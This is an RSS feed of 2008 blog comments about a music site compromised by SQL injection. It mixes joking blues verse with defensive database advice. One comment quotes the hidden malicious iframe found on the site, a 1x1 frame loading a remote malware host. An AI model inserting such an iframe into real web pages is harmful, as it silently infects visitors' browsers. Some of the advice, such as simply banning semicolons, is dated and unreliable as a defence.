<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Malicious SQL injection blues?</title>
	<atom:link href="http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/feed/" rel="self" type="application/rss+xml" />
	<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/</link>
	<description>Out of the crooked timber of humanity, no straight thing was ever made</description>
	<lastBuildDate>Sun, 22 Nov 2009 06:15:54 -0800</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Martin Bento</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-257169</link>
		<dc:creator>Martin Bento</dc:creator>
		<pubDate>Wed, 29 Oct 2008 02:36:32 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-257169</guid>
		<description>Well, I don&#039;t know a good overview, and I don&#039;t feel like reading through some bad ones, so I&#039;ll just roll my own. Some of this is what I said above, but more unpacked.

1)A website using a database should be using some server-based language like PHP, ASP, Python, Server-side Java, something like that. Don&#039;t directly send SQL from the browser.
2)This server process will connect to the database as some database user, which is independent of OS users. This is where people get stupid. SQL has very granular permissions (“privileges” in SQL-speak) on database tables, but developers frequently have their websites connect to the database as the same user used for development, which will be a superuser (“DBA” in SQL). Create a user for your production web process to use that has only the needed privileges. You may have some tables that store data, for example, if you have user registration or use cookies. These should be separate from the tables that hold your web pages (for reasons beyond the security concerns; it would be really dumb to do it otherwise). On the latter, give your user only read, not write, privileges. In SQL, read operations are called “queries”, and the command and privilege are both called “SELECT”. Write operations are divided into INSERT, UPDATE, and DELETE, both privileges and commands, and are collectively known as “DML (Data Manipulation Language)”. Doing this would have stopped the SQL injection used here, although there are a few kinds, like DOS queries, that it may not stop.
3)Even better is to use stored procedures, if your database supports them. This means you write your data manipulation code in some language that is executed within the database as procedures or functions and give your website only the EXECUTE privileges on these procedures, not access to the underlying tables. A SQL injector knows about standard SQL commands like SELECT and CREATE; it does not know about your procedure “JumpAroundStupidly”.
4)Also validate the data before you pass it to the database. Simple trick: disallow semi-colons. Semi-colons are the command terminator in SQL and are how injectors typically interrupt your regularly-scheduled website for a special message from God-Knows-Where. How many people have semi-colons in their name or address?
This is all pretty basic, and I imagine you could find much more elaborate ideas. But I think this would suffice for the injector we&#039;re dealing with here, and probably a lot of them. It has a couple of layers, making it harder for the dubyas(fn 1) who come to the code after you to screw it up. The commands you want to look up in your SQL manual are these:

CREATE USER or CREATE SCHEMA to create users.

GRANT and REVOKE to control privileges.

CREATE PROCEDURE, CREATE STORED PROCEDURE, or CREATE FUNCTION for stored procedures (this area is a bit less standardized).

Hope this helps. 

fn. 1 As a fitting legacy for our current President, I am promoting the user of “dubya” as a generic term for moron or imbecile. Having a President with such a distinctive nickname has come in handy. It also works as a verb. e.g., “ I really dubya&#039;d up that test”.</description>
		<content:encoded><![CDATA[	<p>Well, I don&#8217;t know a good overview, and I don&#8217;t feel like reading through some bad ones, so I&#8217;ll just roll my own. Some of this is what I said above, but more unpacked.</p>

	<p>1)A website using a database should be using some server-based language like <span class="caps">PHP</span>, ASP, Python, Server-side Java, something like that. Don&#8217;t directly send <span class="caps">SQL</span> from the browser.<br />
2)This server process will connect to the database as some database user, which is independent of OS users. This is where people get stupid. <span class="caps">SQL</span> has very granular permissions (&#8220;privileges&#8221; in <span class="caps">SQL</span>-speak) on database tables, but developers frequently have their websites connect to the database as the same user used for development, which will be a superuser (&#8220;DBA&#8221; in <span class="caps">SQL</span>). Create a user for your production web process to use that has only the needed privileges. You may have some tables that store data, for example, if you have user registration or use cookies. These should be separate from the tables that hold your web pages (for reasons beyond the security concerns; it would be really dumb to do it otherwise). On the latter, give your user only read, not write, privileges. In <span class="caps">SQL</span>, read operations are called &#8220;queries&#8221;, and the command and privilege are both called &#8220;SELECT&#8221;. Write operations are divided into <span class="caps">INSERT</span>, UPDATE, and <span class="caps">DELETE</span>, both privileges and commands, and are collectively known as &#8220;DML (Data Manipulation Language)&#8221;. Doing this would have stopped the <span class="caps">SQL</span> injection used here, although there are a few kinds, like <span class="caps">DOS</span> queries, that it may not stop.<br />
3)Even better is to use stored procedures, if your database supports them. This means you write your data manipulation code in some language that is executed within the database as procedures or functions and give your website only the <span class="caps">EXECUTE</span> privileges on these procedures, not access to the underlying tables. <span class="caps">A SQL</span> injector knows about standard <span class="caps">SQL</span> commands like <span class="caps">SELECT</span> and <span class="caps">CREATE</span>; it does not know about your procedure &#8220;JumpAroundStupidly&#8221;.<br />
4)Also validate the data before you pass it to the database. Simple trick: disallow semi-colons. Semi-colons are the command terminator in <span class="caps">SQL</span> and are how injectors typically interrupt your regularly-scheduled website for a special message from God-Knows-Where. How many people have semi-colons in their name or address?<br />
This is all pretty basic, and I imagine you could find much more elaborate ideas. But I think this would suffice for the injector we&#8217;re dealing with here, and probably a lot of them. It has a couple of layers, making it harder for the dubyas(fn 1) who come to the code after you to screw it up. The commands you want to look up in your <span class="caps">SQL</span> manual are these:</p>

	<p><span class="caps">CREATE USER</span> or <span class="caps">CREATE SCHEMA</span> to create users.</p>

	<p><span class="caps">GRANT</span> and <span class="caps">REVOKE</span> to control privileges.</p>

	<p><span class="caps">CREATE PROCEDURE</span>, CREATE <span class="caps">STORED PROCEDURE</span>, or <span class="caps">CREATE FUNCTION</span> for stored procedures (this area is a bit less standardized).</p>

	<p>Hope this helps.</p>

	<p>fn. 1 As a fitting legacy for our current President, I am promoting the user of &#8220;dubya&#8221; as a generic term for moron or imbecile. Having a President with such a distinctive nickname has come in handy. It also works as a verb. e.g., &#8220; I really dubya&#8217;d up that test&#8221;.</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: lemuel pitkin</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-257103</link>
		<dc:creator>lemuel pitkin</dc:creator>
		<pubDate>Tue, 28 Oct 2008 16:47:17 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-257103</guid>
		<description>&lt;i&gt; Does anybody really want the conversation to go in this direction?&lt;/i&gt;

Yes!

Altho linking to a good overview of these types of attacks might be better than trying to explainthem here in mock-blues.</description>
		<content:encoded><![CDATA[	<p><i> Does anybody really want the conversation to go in this direction?</i></p>

	<p>Yes!</p>

	<p>Altho linking to a good overview of these types of attacks might be better than trying to explainthem here in mock-blues.</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: James Wimberley</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-257063</link>
		<dc:creator>James Wimberley</dc:creator>
		<pubDate>Tue, 28 Oct 2008 08:46:58 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-257063</guid>
		<description>Does Silicon Valley run a needle exchange programme for SQL injectors?</description>
		<content:encoded><![CDATA[	<p>Does Silicon Valley run a needle exchange programme for <span class="caps">SQL</span> injectors?</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: Martin Bento</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-257044</link>
		<dc:creator>Martin Bento</dc:creator>
		<pubDate>Tue, 28 Oct 2008 02:00:41 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-257044</guid>
		<description>Geez, I guess it doesn&#039;t pay to get playful with geekspeak. Thanks, sidereal. I know SQL Injection is a way to get this stuff onto the database server, and said so. 

I guess what I gotta face is
It only hits databases
It musta been used to get the virus on the server
But now what’s hitting me is just plain ole&#039; malware.

I think Jonathan knew it too. I didn&#039;t know for a fact it was what was used in this case, but, as I suggested, for the purpose of the client the question is moot. 

Did they pull SQL on the server
or just become root?
Will they get what they deserve or
are these questions moot?


Expressions like &quot;pull SQL&quot; are neologistic, of course, as is the word &quot;neologistic&quot; (Hey, kids! Recursion!). But you can do things like that in verse; they&#039;re fun even. 

To go more straight geek for a moment, the database user a web page connects as should not have DML privileges on the tables containing the code for that page, just query (if it needs to modify those tables, you probably need to change your database design). And it all should be encapsulated in stored procedures anyway, if the database supports such. Does anybody really want the conversation to go in this direction?</description>
		<content:encoded><![CDATA[	<p>Geez, I guess it doesn&#8217;t pay to get playful with geekspeak. Thanks, sidereal. I know <span class="caps">SQL </span>Injection is a way to get this stuff onto the database server, and said so.</p>

	<p>I guess what I gotta face is<br />
It only hits databases<br />
It musta been used to get the virus on the server<br />
But now what&#8217;s hitting me is just plain ole&#8217; malware.</p>

	<p>I think Jonathan knew it too. I didn&#8217;t know for a fact it was what was used in this case, but, as I suggested, for the purpose of the client the question is moot.</p>

	<p>Did they pull <span class="caps">SQL</span> on the server<br />
or just become root?<br />
Will they get what they deserve or<br />
are these questions moot?</p>


	<p>Expressions like &#8220;pull <span class="caps">SQL</span>&#8221; are neologistic, of course, as is the word &#8220;neologistic&#8221; (Hey, kids! Recursion!). But you can do things like that in verse; they&#8217;re fun even.</p>

	<p>To go more straight geek for a moment, the database user a web page connects as should not have <span class="caps">DML</span> privileges on the tables containing the code for that page, just query (if it needs to modify those tables, you probably need to change your database design). And it all should be encapsulated in stored procedures anyway, if the database supports such. Does anybody really want the conversation to go in this direction?</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: Jon H</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-257041</link>
		<dc:creator>Jon H</dc:creator>
		<pubDate>Tue, 28 Oct 2008 01:13:16 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-257041</guid>
		<description>Some people pronounce SQL as &#039;squeal&#039;, which might help.</description>
		<content:encoded><![CDATA[	<p>Some people pronounce <span class="caps">SQL</span> as &#8216;squeal&#8217;, which might help.</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: sidereal</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-257024</link>
		<dc:creator>sidereal</dc:creator>
		<pubDate>Mon, 27 Oct 2008 22:24:41 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-257024</guid>
		<description>Jon/Martin: SQL Injection is the mechanism by which the iframe was inserted into the site&#039;s source.  There&#039;s been a massive outbreak of these attacks over the last 6 months or so.  Once the iframe is injected into the site source, browsers are triggered to download a Trojan (usually it&#039;s only IE that&#039;s vulnerable, but not always).  You&#039;re right that the browser is at risk of a forced Trojan install, not a SQL Injection.  But the SQL Injection is the vector to get bad code onto otherwise trustworthy sites.</description>
		<content:encoded><![CDATA[	<p>Jon/Martin: <span class="caps">SQL </span>Injection is the mechanism by which the iframe was inserted into the site&#8217;s source.  There&#8217;s been a massive outbreak of these attacks over the last 6 months or so.  Once the iframe is injected into the site source, browsers are triggered to download a Trojan (usually it&#8217;s only IE that&#8217;s vulnerable, but not always).  You&#8217;re right that the browser is at risk of a forced Trojan install, not a <span class="caps">SQL </span>Injection.  But the <span class="caps">SQL </span>Injection is the vector to get bad code onto otherwise trustworthy sites.</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: john b</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-257003</link>
		<dc:creator>john b</dc:creator>
		<pubDate>Mon, 27 Oct 2008 20:25:45 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-257003</guid>
		<description>&quot;Just stay far away from these sites&quot;

Only if you take a &lt;i&gt;very&lt;/i&gt; risk-averse view on the &#039;excellence of blues&#039; versus &#039;miniscule chance of malware infection&#039; trade-off. I&#039;m firmly on the &#039;excellence of blues&#039; side...</description>
		<content:encoded><![CDATA[	<p>&#8220;Just stay far away from these sites&#8221;</p>

	<p>Only if you take a <i>very</i> risk-averse view on the &#8216;excellence of blues&#8217; versus &#8216;miniscule chance of malware infection&#8217; trade-off. I&#8217;m firmly on the &#8216;excellence of blues&#8217; side&#8230;</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: justcorbly</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-256999</link>
		<dc:creator>justcorbly</dc:creator>
		<pubDate>Mon, 27 Oct 2008 20:02:12 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-256999</guid>
		<description>I&#039;m not running any anti-virus softwre but I can attest that this site was timing out this morning.</description>
		<content:encoded><![CDATA[	<p>I&#8217;m not running any anti-virus softwre but I can attest that this site was timing out this morning.</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: Jonathan Hart</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-256979</link>
		<dc:creator>Jonathan Hart</dc:creator>
		<pubDate>Mon, 27 Oct 2008 18:20:34 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-256979</guid>
		<description>Ah, I see that now, Martin... The cognitive dissonance of seeing geek-talk in poetry temporarily suspended my attention :)</description>
		<content:encoded><![CDATA[	<p>Ah, I see that now, Martin&#8230; The cognitive dissonance of seeing geek-talk in poetry temporarily suspended my attention :)</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: Martin Bento</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-256977</link>
		<dc:creator>Martin Bento</dc:creator>
		<pubDate>Mon, 27 Oct 2008 18:16:47 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-256977</guid>
		<description>Jonathan, I think I already said that, but I possibly sacrificed clarity for verse.</description>
		<content:encoded><![CDATA[	<p>Jonathan, I think I already said that, but I possibly sacrificed clarity for verse.</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: Jonathan Hart</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-256975</link>
		<dc:creator>Jonathan Hart</dc:creator>
		<pubDate>Mon, 27 Oct 2008 18:02:27 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-256975</guid>
		<description>It is not a SQL injection attack as the poster in that thread states. SQL Injection attacks only happen when a hacker wants to hack a website, not when a hacked website wants to infect a browsing user (I wont go into the details but if you want to know, email me :) )

It&#039;s possible the hacker used SQL injection to hack the original website, but I wouldn&#039;t even bother speculating on that. Just stay far away from these sites and make sure you&#039;re running the latest browsers.</description>
		<content:encoded><![CDATA[	<p>It is not a <span class="caps">SQL</span> injection attack as the poster in that thread states. <span class="caps">SQL </span>Injection attacks only happen when a hacker wants to hack a website, not when a hacked website wants to infect a browsing user (I wont go into the details but if you want to know, email me :) )</p>

	<p>It&#8217;s possible the hacker used <span class="caps">SQL</span> injection to hack the original website, but I wouldn&#8217;t even bother speculating on that. Just stay far away from these sites and make sure you&#8217;re running the latest browsers.</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: Martin Bento</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-256972</link>
		<dc:creator>Martin Bento</dc:creator>
		<pubDate>Mon, 27 Oct 2008 17:48:58 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-256972</guid>
		<description>The charming little turd takes me to a new page
The charming little turd gives reason to spew rage
The charming little turd is something I can&#039;t see
The charming little turd goes on a shooting spree
of code that spews who knows what
like a hole of Java butt
The charming little turd, it doesn&#039;t even smell
The charming little turd is between me and McTell</description>
		<content:encoded><![CDATA[	<p>The charming little turd takes me to a new page<br />
The charming little turd gives reason to spew rage<br />
The charming little turd is something I can&#8217;t see<br />
The charming little turd goes on a shooting spree<br />
of code that spews who knows what<br />
like a hole of Java butt<br />
The charming little turd, it doesn&#8217;t even smell<br />
The charming little turd is between me and McTell</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: Martin Bento</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-256969</link>
		<dc:creator>Martin Bento</dc:creator>
		<pubDate>Mon, 27 Oct 2008 17:29:39 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-256969</guid>
		<description>I though I had mal
but it&#039;s just a bad frame
Someone got into the file
and dropped a bomb in the game
Did they pull SQL on the server
or just become root?
Will they get what they deserve or
are these questions moot?</description>
		<content:encoded><![CDATA[	<p>I though I had mal<br />
but it&#8217;s just a bad frame<br />
Someone got into the file<br />
and dropped a bomb in the game<br />
Did they pull <span class="caps">SQL</span> on the server<br />
or just become root?<br />
Will they get what they deserve or<br />
are these questions moot?</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: Martin Bento</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-256966</link>
		<dc:creator>Martin Bento</dc:creator>
		<pubDate>Mon, 27 Oct 2008 17:18:08 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-256966</guid>
		<description>(note: in some circles, SQL is pronounced &quot;sequel&quot;)

I thought I had the SQL injection blues
Thought I&#039;d got SQL&#039;d down to my shoes
I guess what I gotta face is
It only hits databases
It must been used to get the virus on the server
But now what&#039;s hitting me is just plain ole malware.</description>
		<content:encoded><![CDATA[	<p>(note: in some circles, <span class="caps">SQL</span> is pronounced &#8220;sequel&#8221;)</p>

	<p>I thought I had the <span class="caps">SQL</span> injection blues<br />
Thought I&#8217;d got <span class="caps">SQL</span>&#8217;d down to my shoes<br />
I guess what I gotta face is<br />
It only hits databases<br />
It must been used to get the virus on the server<br />
But now what&#8217;s hitting me is just plain ole malware.</p>
 ]]></content:encoded>
	</item>
	<item>
		<title>By: Doctor Memory</title>
		<link>http://crookedtimber.org/2008/10/27/malicious-sql-injection-blues/comment-page-1/#comment-256963</link>
		<dc:creator>Doctor Memory</dc:creator>
		<pubDate>Mon, 27 Oct 2008 16:34:50 +0000</pubDate>
		<guid isPermaLink="false">http://crookedtimber.org/?p=8283#comment-256963</guid>
		<description>Yeah, it looks like negroartist.com is well and truly ownz0r3d as the kids say.  Buried in the front page html is this charming little turd:

iframe src=&quot;http://ntkrnlpa.info/rc/?i=1&quot; width=1 height=1 style=&quot;border:0&quot;

It might be a dead letter though -- ntkrnlpa.info doesn&#039;t appear to be up and serving at the moment.

Sorry, too early in the a.m. to do this in the proper meter.</description>
		<content:encoded><![CDATA[	<p>Yeah, it looks like negroartist.com is well and truly ownz0r3d as the kids say.  Buried in the front page html is this charming little turd:</p>

	<p>iframe src=&#8221;http://ntkrnlpa.info/rc/?i=1&#8221; width=1 height=1 style=&#8221;border:0&#8221;</p>

	<p>It might be a dead letter though&#8212;ntkrnlpa.info doesn&#8217;t appear to be up and serving at the moment.</p>

	<p>Sorry, too early in the a.m. to do this in the proper meter.</p>
 ]]></content:encoded>
	</item>
</channel>
</rss>
